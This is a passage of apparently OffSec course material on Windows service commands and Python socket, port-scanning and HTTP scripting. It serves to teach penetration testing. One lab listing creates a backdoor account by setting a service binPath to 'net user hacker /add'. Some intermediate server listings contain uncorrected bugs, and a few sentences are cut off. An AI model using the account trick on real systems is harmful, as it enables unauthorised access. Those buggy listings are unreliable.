information regarding services and have similar capabilities.
C:\Windows\system32>psservice /?
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com
PsService lists or controls services on a local or remote system.
Usage: psservice [\\Computer [-u Username [-p Password]]] <cmd> <optns>
Cmd is one of the following:
query Queries the status of a service
config Queries the configuration
setconfig Sets the configuration
start Starts a service
stop Stops a service
restart Stops and then restarts a service
pause Pauses a service
cont Continues a paused service
depend Enumerates the services that depend on the one specified
find Searches for an instance of a service on the network
security Reports the security permissions assigned to a service
Use the username and password to log into the remote computer in cases where
your account does not have permissions to perform the action you specify.
Omitting a command queries the active services on the specified computer.
Enter -? for help on a particular command.
Use option -nobanner to supress the startup banner and copyright message.
Listing 54 - PsService help option
In this section, we are going to move from examining information
about services to interacting with them. We will cover the net and
taskkill commands, and expand on the sc and PsService utilities.
The net command can be used to interact with numerous Windows
environment objects like users, shares, services, and account
policies. Below, we use net with the stop and
start parameters to stop and then start the WSearch service.
C:\WINDOWS\system32>net stop WSearch
The Windows Search service is stopping
The Windows Search service was stopped successfully.
C:\WINDOWS\system32>net start WSearch
The Windows Search service is starting
The Windows Search service was starting successfully.
Listing 55 - Stopping and starting WSearch service using net command
For more capabilities of the net command, we run it with the
help parameter.
C:\WINDOWS\system32>net help
The syntax of this command is:
NET HELP
command
-or-
NET command /HELP
Commands available are:
NET ACCOUNTS NET HELPMSG NET STATISTICS
NET COMPUTER NET LOCALGROUP NET STOP
NET CONFIG NET PAUSE NET TIME
NET CONTINUE NET SESSION NET USE
NET FILE NET SHARE NET USER
NET GROUP NET START NET VIEW
Listing 56 - Running the net help command.
In summary, we can use the net command to view, start, stop, pause
services, and configure service values.
The sc and PsService utilities have many more functions and
capabilities like starting, stopping, pausing, and continuing
services, modifying values of a service’s entries within the database,
and providing specific instructions as to how the service should act
if certain conditions are met.
Let's first dive in to sc. First, let's run a query on the WSearch
service. This is the Windows Search service.
C:\Users\offensive>sc query WSearch
SERVICE_NAME: WSearch
TYPE : 10 WIN32_OWN_PROCESS
STATE : 1 STOPPED
WIN32_EXIT_CODE : 1077 (0x435)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
Listing 57 - Running sc query on WSearch.
From here we learn that the current state of this service is "1" which
means stopped. If the STATE was 3, it would be
Let's change the Startup type to automatic.
C:\Windows\system32>sc config WSearch start=auto
[SC] ChangeServiceConfig SUCCESS
Listing 58 - Switching startup type to automatic.
We can verify this by using the psservice utility.
C:\Windows\system32>psservice config WSearch
PsService v2.25 - Service information and configuration utility
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com
SERVICE_NAME: WSearch
DISPLAY_NAME: Windows Search
Provides content indexing, property caching, and search results for files, e-mail, and other content.
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\SearchIndexer.exe /Embedding
Listing 59 - Verify AUTO_START.
Let's start this service. We could use either net or sc. If we used
net, we would type "net start wsearch", but we will use sc.
C:\Windows\system32>sc start WSearch
SERVICE_NAME: WSearch
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
Listing 60 - Starting the service.
Now that it is running, we can query the service to get the status of
the service.
C:\Users\offensive>sc query WSearch
SERVICE_NAME: WSearch
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
Listing 61 - Verify service is running.
Now that we understand how to start and stop services, let's create a
new service and create a new account with the executable path. First,
let's examine the users that are on this machine.
C:\Users\offensive>net user
User accounts for \\WIN-NET01
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
offensive offsec WDAGUtilityAccount
The command completed successfully.
Listing 62 - Verifing the users.
Now, let's create a new service that has a binPath of "net user
hacker /add"
C:\Windows\system32>sc config test binPath= "net user hacker /add"
[SC] ChangeServiceConfig SUCCESS
...
Listing 63 - Creating a new service
Now let's start the service.
C:\Windows\system32>net start test
The service is not responding to the control function.
More help is available by typing NET HELPMSG 2186.
C:\Windows\system32>
Listing 64 - Starting the new service
While we have an error message, let's check the users.
C:\Users\offensive>net user
User accounts for \\WIN-NET01
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
hacker offensive offsec
WDAGUtilityAccount
The command completed successfully.
Listing 65 - Checking on our new user
Here we see our new user created.
Remote Desktop is a feature that is native to most Windows systems.
It allows clients to use the Remote Desktop Protocol (RDP)[466]
client to connect to servers that run on TCP port 3389 by default. The
great benefit about RDP is that we can connect to a remote computer
with GUI capabilities. Using RDP is fairly simple, as it requires the
computer name/domain or IP, and credentials in most cases. If we have
that information, and there is an RDP server running, we can use our
RDP client to connect to the remote machine.
To use RDP, click we Start, type "remote desktop", and click the
"Remote Desktop Connection" application.
This will launch a window similar to the following.
We can type in the computer hostname or IP address. We can also click
Show Options to view advanced configurations, like the username.
Once we click Connect, it will open up another window and connect
to the remote computer. As long as the RDP service is enabled and
the traffic can traverse the network between the local and remote
computers, we should be able to connect.
Now that we have covered several Windows networking and services
concepts, let’s finish by conducting a capstone exercise.
While conducting this capstone exercise, remember to use the help
menus and documentation for each command if you get stuck or need
additional clarification.
We will need to initially connect to the machine using SSH. Using
the Kali terminal, use the command ssh user@ipaddress. The
username, password and IP address are going to be the same that which
we used previously and throughout this Module. See below for a similar
example:
kali@kali:~$ ssh offsec@1.1.1.1
The authenticity of host '1.1.1.1 (1.1.1.1)' can't be established.
ECDSA key fingerprint is SHA256:IQSE19bEBLNrxaxcCh3S823voRPCU7Gt+M3c5CyMLuo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '1.1.1.1' (ECDSA) to the list of known hosts.
offsec@1.1.1.1's password:
offsec@WINDOWS-01 C:\Users\offsec>
Listing 66 - Connecting to Windows VM using SSH command
In this Module, we will cover the following Learning Units:
Note that this Module relies on knowledge relevant to Linux
administration, scripting, and networking. Should you feel the
need to, please brush up on those subject areas before
completing this Module.
Creating network scripts can improve our flexibility, consistency,
and efficiency when it comes to interacting with targets over a
network. The ability to write our own network scripts can help us
dramatically reduce the number of repetitive tasks we need to make.
Perhaps more importantly, it can allow us to understand how programs
and applications communicate with each other on a deeper level.
In some cases, we can even write our own network scripts to
troubleshoot tools when they are not working as expected. In addition,
writing our own network scripts can come in handy when we do not
have access to tools, for example, on a compromised target. It can
be time-consuming to transfer our normal programs and tools onto a
target system, and they can get flagged by antivirus or other security
defenses that are in place.
This Learning Unit covers the following Learning Objectives:
Although there are many programming languages that we can use to
complete our tasks, Python is a very popular language that penetration
testers use to create their network scripts. This is due to its ease
of use and the large number of libraries available for it.
For programs and systems to communicate with each other on a
network, they use sockets[467] and the
socket API[468] to send messages back and fourth. A
socket[469] is essentially an endpoint that
allows network communication to flow between two programs running over
a network. We can implement network sockets on several different
channel types.
As we begin to write our scripts, we recommend that you follow along
and type the syntax in your own Python files. Try not to copy/paste
the code, because writing it yourself can help reinforce understanding
and memory.
Let's use the following Python code to start creating a script that
uses the socket[470] module. We'll import the socket library for
our Python script, and then call the socket.socket method.
#!/usr/bin/python3
#client.py
import socket
s = socket.socket(<socket_family>, <socket_type>, <protocol>)
Listing 1 - Initial Python script
Above, we set the socket.socket method to the variable s. The
socket.socket method itself contains three (currently unset)
variables: socket_family, socket_type, and protocol. Let's
examine these variable placeholders.
The socket_family variable allows us to specify a protocol domain
that will act as the transport mechanism. The most common, AFINET,
is used for IPv4 Internet addressing and AF_INET6 is used for IPv6
Internet addressing. AF_UNIX is the address family for _Unix Domain
Sockets (UDS).[471] This socket family allows the operating system
to pass data directly from process to process, without going through
the network stack.
The socket_type variable allows the communication between two
endpoints. The socket type is usually either SOCKDGRAM for the _User
Datagram Protocol (UDP)[472] or SOCKSTREAM for the _Transmission
Control Protocol (TCP).[473]
The protocol variable can be used to specify the protocol number. It
is usually set to 0, which is the default value that will be set if it
is not specified.
To supply these variables with values, we will create a socket that
will communicate with an IPv4 address to transmit our communication
over TCP.
#!/usr/bin/python3
#client.py
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM )
Listing 2 - Creating an IPv4 TCP socket
Notice that we have not specified a protocol, so it will default to a
value of 0 as mentioned above.
We will continue to expand on this script as we create our client.
Before we proceed, we need to understand some of the methods that
are built into the socket module. We'll slowly build up our client
by applying each relevant method. At the end of this process, we will
have a fully functional networking client that can handle errors and
receive data of arbitrary length.
The most common type of socket applications are client-server
applications, such as the one we are currently building. This involves
a client making a request to the server. The client then receives a
response from the server.
The socket module comes with various methods to facilitate the various
actions a client (or a server) will make during such a communication.
There are three sets of socket methods that we need to be aware of:
client socket methods, server socket methods, and general socket
methods. Usually - though not always - a client will invoke client
socket methods, a server will invoke server socket methods, and both
programs can make use of the general methods.
The socket.gethostname() method[474] returns the name of
the current system. We'll be using it in our scripts to test execution
on our local machine. This means that if we want to run our scripts
against an external server, we'll need to specify the IP address of
the remote target.
#!/usr/bin/python3
#client.py
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 8080
Listing 3 - Setting the target and port
In the above listing, we specify our own localhost with the
socket.gethostname() method, and then we specify the port we want to
connect on as an integer.
The socket.connect(address) method[475] is used to
initiate a connection with the server. The method requires that we
specify a single host and port to connect on, which we defined in the
host and port variables.
#!/usr/bin/python3
#client.py
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 8080
client.connect((host, port)) # Connect to our client
Listing 4 - Initiating a connection
Notice the double parentheses within the s.connect((host, port))
syntax. The reason for this is because the socket module treats
(host, port) as a single argument. If we only included one pair
of parentheses, Python would interpret our syntax as attempting to
provide two arguments to a method that only accepts one.
Now that we understand how to use the socket.connect method, there
are some general socket methods that we need to become familiar with
to use with our client so that it can receive data and terminate.
The socket.recv(bufsize) method[476] allows the client
to receive a TCP message from the socket. The bufsize (buffer
size) argument defines the maximum amount of data that the method can
receive at any one time.
#!/usr/bin/python3
#client.py
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 8080
client.connect((host, port)) # Connect to our client
msg = client.recv(1024)
print (msg.decode('ascii'))
Listing 5 - Receiving and displaying data
In the above listing, a client would connect to a server, and then
print out any data it receives from the server via the socket.recv()
method.
We now have enough code to connect to a server.
If you are following along, you will not yet have the server code
to test out your client, so for now simply make sure that the client
code you have written is identical to the code above.
kali@kali:~$ python3 client.py
Connection Established
Listing 6 - Connecting to a server
In the above listing, we execute our client against a server running
on our own localhost, and receive a message from the server that the
connection has been established.
The socket.close() method[477] is pretty straightforward as
it will just close the socket. This can be invoked from either end and
will terminate the connection between the client and the server.
#!/usr/bin/python3
#client.py
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 8080
client.connect((host, port)) # Connect to our client
msg = client.recv(1024)
client.close()
print (msg.decode('ascii'))
Listing 7 - Closing the connection
We've now built up a fully functioning client program in Python. Let's
review what we've learned so far. Our script is designed to connect
to a local server that is running on port 8080. The socket.connect()
method will establish the connection. If the connection is
successful, the client will receive a message from the server with
socket.recv(). The socket.close() method will close the client,
and then the print function[478] will decode and display the
message from the server.
Once we have finished writing the program, we need to save the file to
our system. We'll call it client.py.
This Learning Unit covers the following Learning Objectives:
Sometimes, our client code may not work as desired, because the server
responds in a way that we don't expect, or because it isn't working
properly. To make our program more robust, we can introduce
error handling[479] that will tell the client what to do if it
encounters an error.
Python makes use of try and except statements to handle
errors. Here is an example of what a try and except pair might
look like in psedo-code.
try:
do something
break
except <exception type>:
print an error statement
Listing 8 - Some try/except psuedo-code
A try statement attempts to execute any code within the try block.
If the code within the try block executes successfully, the program
will skip over the except block and continue its execution flow.
If, however, it does encounter an error (also known as an
exception), execution flow will immediately jump to the
corresponding except block with the corresponding exception type.
Then, the code within the except block is executed to handle the
exception. Once the except block is finished executing, the program
will continue its execution flow.
Finally, if there is no corresponding exception type for the error
encountered within the try block, the program will stop its
execution because it won't know how to continue. This is called an
unhandled exception.
Let's go ahead and add try and except statements to our Python
client.
#!/usr/bin/python3
#client.py
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 8080
try:
client.connect((host, port))
msg = client.recv(1024)
client.close()
print (msg.decode('ascii'))
except ConnectionRefusedError:
print ("The server is not accepting our connection request!")
exit(1)
print ("This sentence will only print if the except block was not executed.")
Listing 9 - Adding a try/except to our client
The above code checks for the specific exception called
ConnectionRefusedError, which indicates if a server is unwilling,
or unable, to accept the client's connection. We can run our client
code against a non-existent server to validate the try and
except blocks.
kali@kali:~$ python3 client.py
The server is not accepting our connection request!
Listing 10 - Attempting to connect to a non-existent server
Notice how the last line of our program is not executed. This is
because the except block prints a statement and then exits the
program before the last line can be run.
Here, we are only using the except block to print a statement and
exit. However, we could create far more complex instructions, allowing
our program to perform diagnostics, connect to another server, or do
some unrelated thing. In the following exercise, you will use try
and except statements to allow the program to reconnect to a server
an arbitrary number of times.
In the above demonstration, we've assumed that the server is only
going to send our client 1024 bytes of data. Sometimes, we may not
be able to anticipate the exact size of the server's response. Let's
execute our client against a server that will send us more than 1024
bytes and examine what happens.
We've adjusted our server to send the "Connection Established" string
followed by 2000 "A" characters. We'll then execute our client code
and pass the results to sed, tr, and wc to
count the exact number of A's we receive from the server.
kali@kali:~$ python3 client.py | sed 's/[^A]//g' | tr -d '\n' | wc -c
1002
Listing 11 - Counting the A's from the server
Since the "Connection Established " string is 22 characters long,
only 1002 out of 2000 A's are sent to the client. This is because our
implementation of the socket.recv method only allows 1024 bytes of
data to be received by our client.
The socket module documentation suggests that the value used for each
particular socket.recv call should be a small power of 2, such as
1024, 2048, or 4096. When we don't know how many bytes we'll
be receiving, we can process the response in a loop by using smaller
chunks until all data has been received. In the following exercise,
you will add a loop to the client program so that it can receive
arbitrary chuncks of data.
Sometimes we may want to establish a connection with a server,
and then send it data based on the information it provides us.
To do this, we can create an Interactive Socket with the Telnet
library.[480] Let's begin with our original client code, and
import telnetlib.
#!/usr/bin/python3
#interactive-client.py
import socket
import telnetlib
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 8080
client.connect((host, port)) # Connect to our client
msg = client.recv(1024)
client.close()
print (msg.decode('ascii'))
Listing 12 - Importing telnetlib
The telnetlib allows for an implementation of the Telnet[481]
protocol. We will be modifying our script to make use of the
telnetlib.interact() method, which will allow us to interact with the
server dynamically. To implement this method, we'll create a function
that we will call after our client has connected to the server.
#!/usr/bin/python3
#interactive-client.py
import socket
import telnetlib
def interact(socket):
t = telnetlib.Telnet()
t.sock = s
t.interact()
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 8080
client.connect((host, port)) # Connect to our client
msg = client.recv(1024)
print (msg.decode('ascii'))
client.close()
Listing 13 - Defining the interact function
Notice that the function that we've created is named "interact". But
the name of the telnet function is also called "interact"! This is not
essential: we could call our function whatever we wish. However, it is
a good reminder that we should always understand the scope[482]
of different code blocks so that we do not become confused.
The mechanism that allows this client to maintain interactivity
with the server is all done via Telnet's own interact function.
This function sets up a while true loop that keeps reading
and writing data. Since while true is always true, it continues
to read and write data from and to the server until the connection
is severed.
Next, we'll call our new function after we connect to the server.
#!/usr/bin/python3
#interactive-client.py
import socket
import telnetlib
def interact(socket):
t = telnetlib.Telnet()
t.sock = socket
t.interact()
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 8080
client.connect((host, port)) # Connect to our client
msg = client.recv(1024)
print (msg.decode('ascii'))
interact(client)
client.close()
Listing 14 - Interacting with the socket
In the above listing, our client code is now capable of interacting
dynamically with the server it connects to. Note that this
functionality depends on two things:
The server must allow the connection to stay open. If it closes the
connection, our client will not be able to send any further data.
The server must be configured to receive the data we send to it.
Since we haven't yet implemented our own server, you can try the above
client code against the remote VM in the following exercise.
This Learning Unit covers the following Learning Objectives:
We'll start building our sever by importing the socket module,
initializing a socket, and defining a host and port:
#!/usr/bin/python3
#server.py
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 8080
Listing 15 - Initial server code
Note that this code is almost identical to the beginning of our
client-side code. We'll now introduce a few more socket methods that
our server will need to make use of.
The socket.bind(address) method[483] binds, or assigns,
a specific port to our program. In this case, we want to bind our
server to the port we defined in the port variable.
#!/usr/bin/python3
#server.py
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 8080
server.bind((host, port))
Listing 16 - Binding to a port
Like the socket.connect method, socket.bind expects a complete
address as input in the format of (host, port). This is why there are
double parentheses in the method call.
The socket.listen(int) method[484] tells the server to
listen for incoming connections and expects an integer.
#!/usr/bin/python3
#server.py
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = socket.gethostname()
port = 8080
server.bind((host, port))
server.listen(2) # Wait for a client connection. Only 2 clients can connect to the server
print('Server is listening for incoming connections')
Listing 17 - Listening for a client connection
The integer specified in socket.listen() represents the number of
clients the server will allow to connect to itself simultaneously.
Once the server is listening, it reports its status via the print
function.
The socket.accept() method[485] returns a pair of values
(conn, address) where conn represents a new socket that will send
and receive messages, and address represents the client address
bound to the socket.
#!/usr/bin/python3
#server.py
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = socket.gethostname()
port = 8080
server.bind((host, port))
server.listen(2) # Wait for a client connection. Only 2 clients can connect to the server
print('Server is listening for incoming connections')
while True:
conn, address = server.accept() # Establish the connection with the client
print("Connection Received from %s" % str(addr))
Listing 18 - Allowing incoming connections
In the above listing, we start a while True[486] loop that
allows incoming connections via the newly created conn, address
pair. Once a connection has been established, our server will report
that the connection has occured.
The socket.send(bytes) general socket method[487] allows
a client or server to send data to the socket. This data can then
be received via the socket.recv method. The bytes argument will
provide several bytes that will be sent to the socket. Specifying
these bytes can change how the method interacts with the receiving
machine.
#!/usr/bin/python3
#server.py
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = socket.gethostname()
port = 8080
server.bind((host, port))
server.listen(2) # Wait for a client connection. Only 2 clients can connect to the server
print('Server is listening for incoming connections')
while True:
conn, address = server.accept() # Establish the connection with the client
print("Connection Received from %s" % str(addr))
msg = 'Connection Established'+ "\r\n"
conn.send(msg.encode('ascii'))
Listing 19 - Sending data to the socket
In the above listing, we use the new conn socket to send the text
"Connection Established" to the client once it connects to the server.
We have now almost completed our server. The last functionality we
will add is the ability to close the socket from the server-side with
socket.close().
#!/usr/bin/python3
#server.py
import socket
host = socket.gethostname()
port = 8080
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host,port))
server.listen(2)
print('Server is listening for incoming connections')
while True:
conn,addr = server.accept()
print("Connection Received from %s" % str(addr))
msg = 'Connection Established'+ "\r\n"
conn.send(msg.encode('ascii'))
conn.close()
Listing 20 - Closing the socket
Notice how we close the conn socket and not the original server
socket, to allow our server to keep running and to accept further
connections.
Let's summarize what we have learned. After creating a new socket, we
use the socket.bind() method, which binds the program to a specified
IP address and port. This allows the server to listen for incoming
requests. To make sure the server is listening for these
requests, we use the socket.listen() method. Once the client has
requested to connect, we use the socket.accept() method to accept
the connection, and the socket.send() method to send a message back
to the client. Finally, we invoke socket.close() to terminate the
connection.
Once the script has been written, we will save the Python program as
server.py.
To complete this section of the Learning Unit, a working version of
the Python client built in the 'Write a Client Program in Python'
Learning Units is required.
Now that we have built our client and server programs, let's find out if
we can get them to work together. First, we'll open up two
terminal windows: one to run the client and the other to run the
server. In Terminal One, we start our server and should receive the
following output on the console:
kali@kali:~$ python3 server.py
Server is listening for incoming connections
Listing 21 - Starting our server
We then run the client program in the Terminal Two window. We should
receive the following output:
kali@kali:~$ python3 client.py
Connection Established
kali@kali:~$
Listing 22 - Running our client
To confirm that the connection between our client and our server was
successful, we can check the Terminal One window running the server.
kali@kali:~$ python3 server.py
Server is listening for incoming connections
Connection Recieved from ('127.0.0.1', 48904)
Listing 23 - Output from the server
Above, notice how port 48904 is allocated to the client after
initiating a socket connection to the server on port 8080. Reading
through our client and server Python code, we never specified the
number 48904 anywhere. When you execute your own version
of the program, you'll find that a different number is used. This
is because the operating system itself automatically allocates a
temporary ephemeral port[488] based on a pre-defined range,
to ensure that a port is always available to assign to a connecting
client. This allows multiple clients to connect simultaneously.
This Learning Unit covers the following Learning Objectives:
In this Learning Unit, we are going to build a simple port scanner
using the socket and time[489] libraries. Port scanning allows
us to locate open ports that are available on a particular host. As
penetration testers, we can configure our port scanner to retrieve
information about the ports, assess what services are running on each
port, and even guess which OS may be running on the host.
We'll begin our script by importing the relevant modules and by
invoking the time.time() method.[490]
#!/usr/bin/python3
#scanner.py
import socket
import time
startTime = time.time()
Listing 24 - Our initial Python code
The time.time() method returns the time at which the Python
interpreter runs the line of code it is located on. We use this
method to store the initial time of the program's execution in the
startTime variable.
At the end of the script, we'll use time.time() once again to store
the future time in another variable (endTime). By subtracting the
value of endTime from startTime, we can calculate how long it
takes for the program to complete its total execution.
Next, we'll allow the user to specify which target
they want to scan via the input method. We then use
socket.gethostbyname()[491] to convert the provided
hostname into an IP address.
#!/usr/bin/python3
#scanner.py
import socket
import time
startTime = time.time()
target = input('Please specify the host that you want to scan: ')
target_IP = socket.gethostbyname(target)
print ('Initiating Scan for host: ', target_IP)
Listing 25 - Allowing the user to specify a target
Alternatively, we could omit the line beginning with "target_IP", and
simply allow the user to provide an IP address as input rather than a
hostname.
When you execute your scan against the exercise machine, you may
want to adjust this portion of the script.
Next, we'll employ a for loop to determine which ports we want
to scan on our target. Instead of the familiar socket.connect()
method, we'll use socket.connect_ex()[492] to
initiate the connection. socket.connect_ex() does the same
thing as socket.connect(), but it returns an error indicator upon
success or failure. In particular, it will return 0 when it executes
successfully. This means that when 0 is returned from this method, we
know that the specific port we were scanning at the time was open.
#!/usr/bin/python3
#scanner.py
import socket
import time
startTime = time.time()
target = input('Please specify the host that you want to scan: ')
target_IP = socket.gethostbyname(target)
print ('Initiating Scan for host: ', target_IP)
for i in range(1, 1000):
scanner = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn = scanner.connect_ex((target_IP, i))
if(conn == 0):
print ('Port %d: OPEN' %(i))
scanner.close()
Listing 26 - Scanning ports in a loop
In the for loop, we are iterating over ports 1 through 1000. We can
easily change these values, or better yet allow the user to specify
which ports they want to scan via command line arguments. We'll leave
further improvements to the script as an exercise to the reader.
Finally, we simply need to run time.time() again and calculate how
long the scan takes, as described above.
#!/usr/bin/python3
#scanner.py
import socket
import time
startTime = time.time()
target = input('Please specify the host that you want to scan: ')
target_IP = socket.gethostbyname(target)
print ('Initiating Scan for host: ', target_IP)
for i in range(1, 1000):
scanner = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn = scanner.connect_ex((target_IP, i))
if(conn == 0):
print ('Port %d: OPEN' %(i))
scanner.close()
endTime = time.time()
totalTime = endTime - startTime
print('Total Time: %s' %(totalTime))
Listing 27 - Calculating the scan duration
Executing the script will prompt us to input a hostname and it will
conduct the port scan. The script should generate output similar to
the following.
kali@kali:~$ python3 scanner.py
Please specify the host that you want to scan: localhost
Initiating Scan for host: 127.0.0.1
Port 22: OPEN
Port 80: OPEN
Port 8080: OPEN
Total Time: 3.3422038555145264
Listing 28 - Running our port scanner
In the above example, we've specified localhost as the target to
scan. Since the script uses the socket.gethostbyname() method, it
allows us to specify the IPv4 hostname of a machine and retrieve its
IP address. As a refresher, localhost[493] usually resolves
to the loopback IP address, 127.0.0.1.
We find that we have three ports listening on our local VM, and that
the script took approximately 3.34 seconds to execute from start to
finish. We can expand this script by providing it a means of looping
through a list of hosts by creating nested for loops, or by having
it send different kinds of packets to the hosts it connects to.
Port Knocking[494] is a means by which external
users can open a gated port on a machine by first connecting to a
predetermined list of other ports in a specific order. Think of it
like entering a PIN on a mobile device: if you input the correct
numbers in the correct order, the phone will unlock. Similarly,
assuming the machine's firewall has been configured in such a way,
"knocking" on the correct ports in the correct order will open the
gated port.
A port knocking implementation can add a small but non-negligible
layer of security to a system, because it prevents port scans such
as the one we have executed above. Since the port scan will iterate
through a loop, it is very unlikely that the firewall will be
configured to open the gated port based on the exact rules that our
scan follows. An external user will need to have intimate knowledge of
the system first, before being able to connect to the gated service.
Port knocking rules can be made arbitrarily complex, increasing
the knowledge of the system required by the external user. Note,
however, that port knocking alone is not a sufficient security system,
because it relies on security by obscurity. It can be compared to
single-factor authentication, representing something the user knows
as the only means of authenticating. In this case, the thing the user
know is the order of ports to knock.
This Learning Unit has the following Learning Objectives:
Imagine that we have identified a web server as our target and we
need to learn more about the service. In this situation, we can create
a script with Python that will send HTTP requests to our web server
to analyze how it responds to us. This technique is very useful
because we can learn more about the web server and how it communicates
to our client, and to assess if it is vulnerable to any exploits that
we are aware of.
In this section, we'll use the socket module again to create a raw
TCP connection to a web server running on port 80. Since we are using
a raw socket connection, we need to provide the specific HTTP request
to be sent to the server as data.
The socket module operates on the equivalent of the Transport layer
of the OSI or TCP/IP network reference models. We therefore must
encapsulate the Application layer protocol (i.e. HTTP) data that we
want to send through the Transport layer.
We'll begin our script by importing the socket module and defining a
remote host and port.
#!/usr/bin/python3
#http-sockets.py
import socket
remote_host = "www.offensive-security.com"
remote_port = 80
Listing 29 - Our initial Python code
We call our script http-sockets.py. Note that we cannot call
the script http.py because Python has a built-in module by
the same name.
Next, let's store the HTTP request we want to make to the server
inside a variable, which we'll aptly call request. To learn more
details about the format of an HTTP request, please refer to the Web
Applications Basics Module.
#!/usr/bin/python3
#http-sockets.py
import socket
remote_host = "www.offensive-security.com"
remote_port = 80
request = "GET / HTTP/1.1\r\nHost: www.offensive-security.com\r\n\r\n"
Listing 30 - Creating the request
We need to specify the exact request we want our server to send to the
server, so we must include the precise syntax and newlines ("\r\n")
that HTTP expects.
The next portion of the script is similar to creating a Python client.
We'll initialize a socket, and then use it to connect to the server.
Once we're connected, we'll use socket.send() to make our request,
using our request variable.
#!/usr/bin/python3
#http-sockets.py
import socket
remote_host = "www.offensive-security.com"
remote_port = 80
request = "GET / HTTP/1.1\r\nHost: www.offensive-security.com\r\n\r\n"
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((remote_host,remote_port))
client.send(request.encode())
Listing 31 - Connecting to the server
Finally, we want to catch the response that the server sends us,
so we'll use the socket.recv(bytes) method and then decode and
print it.
#!/usr/bin/python3
#http-sockets.py
import socket
remote_host = "www.offensive-security.com"
remote_port = 80
request = "GET / HTTP/1.1\r\nHost: www.offensive-security.com\r\n\r\n"
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((remote_host,remote_port))
client.send(request.encode())
response = client.recv(4096)
print(response.decode())
Listing 32 - Receiving and displaying the response
It is important to note that the send() method requires a
byte-like object argument, not a string. We can use the encode()
method on a variable to convert its content to bytes, and use the
decode() method to convert bytes to a string.
As mentioned above, the recv() method is used to receive the
response from the server. This method requires an argument, which is
the maximum number of data in bytes to be received.
Python allows us to communicate directly over HTTP instead of
opening up raw network sockets. In this section we will use the
requests[495] library to create an HTTP GET[496]
request and display the response.
Let's start our script by importing the requests module and defining
a target URL that we want to make a request to.
#!/usr/bin/python3
#web-client.py
import requests
url = "http://www.offensive-security.com"
Listing 33 - Our initial Python code
Next, we'll employ our first requests method,
requests.get().[497] This method will make an HTTP
request to the URL provided to it as argument, and returns a
Response object. The Response object can then be parsed and
formatted in various ways.
#!/usr/bin/python3
#web-client.py
import requests
url = "http://www.offensive-security.com"
response = requests.get(url)
print(response.content.decode())
Listing 34 - Making a GET request
In the above listing, we use the
requests.content()[498] method to read the content of
the Response object in bytes. We pass the output to the decode()
method and print it, so that we can view it in plain text.
This basic script can be modified in a varity of ways that can allow
us to extract the precise information we're looking for from a web
server.
During a reconaisance phase of a penetration test (for example), we
might only be interested in determining the status code of the various
pages. The requests.status_code()[499] method extracts
the response status code from the Response object
#!/usr/bin/python3
#web-client.py
import requests
url = "http://www.offensive-security.com/doesnotexist.html"
response = requests.get(url)
print(response.status_code)
Listing 35 - Extracting the status code
As a refresher, status codes are grouped into the following classes:
When the script is executed, we will obtain the status code
of the URL we have specified. The URL we are requesting is
www.offensive-security.com/doesnotexist.html. Since this page
does not exist, the server will respond with a client error status
code (404).
Next, let's modify the script to return only the response headers
from the server. We can do this with the predictably named
requests.headers()[500] method. We can analyze
headers to get a better understanding of the web server and how it is
interacting with clients.
#!/usr/bin/python3
#web-client.py
import requests
url = "http://www.offensive-security.com"
response = requests.get(url)
print(response.headers)
Listing 36 - Retrieving the response headers
In this iteration of the script, we send a request to
http://www.offensive-security.com and print the response
headers we receive from the server.
Finally, the requests.text()[501] method allows us to
print the full response in unicode.
#!/usr/bin/python3
#web-client.py
import requests
url = "http://www.offensive-security.com"
response = requests.get(url)
print(response.text)
Listing 37 - Displaying the full response
This script makes a simple request to
http://www.offensive-security.com and prints out the response.
Remember that requests.content() should be used when the server
is serving data in binary format, and requests.text() when it is
serving textual data.
If you are uncertain about a specific website, try both!
If you've used the requests.content() or requests.text() methods
above, you've likely found that the response can contain a significant
amount of HTML data. Sometimes, we may want to get specific
information from a site without all the clutter involved with a full
response. Web Scraping is a process of sweeping information that is
contained on a webpage and extracting the information we're interested
in. As penetration testers, it is sometimes easier to retrieve the
data we are looking for by writing a script than trying to look for
the data manually from the website.
Lets start by using the urllib3[502] module to send an HTTP
request that will obtain the data from the webpage. The urllib3
library is used by the requests library; in this case, we will
import it explicitly just so that we can become familiar with
different syntax.
#!/usr/bin/python3
#parse.py
import urllib3
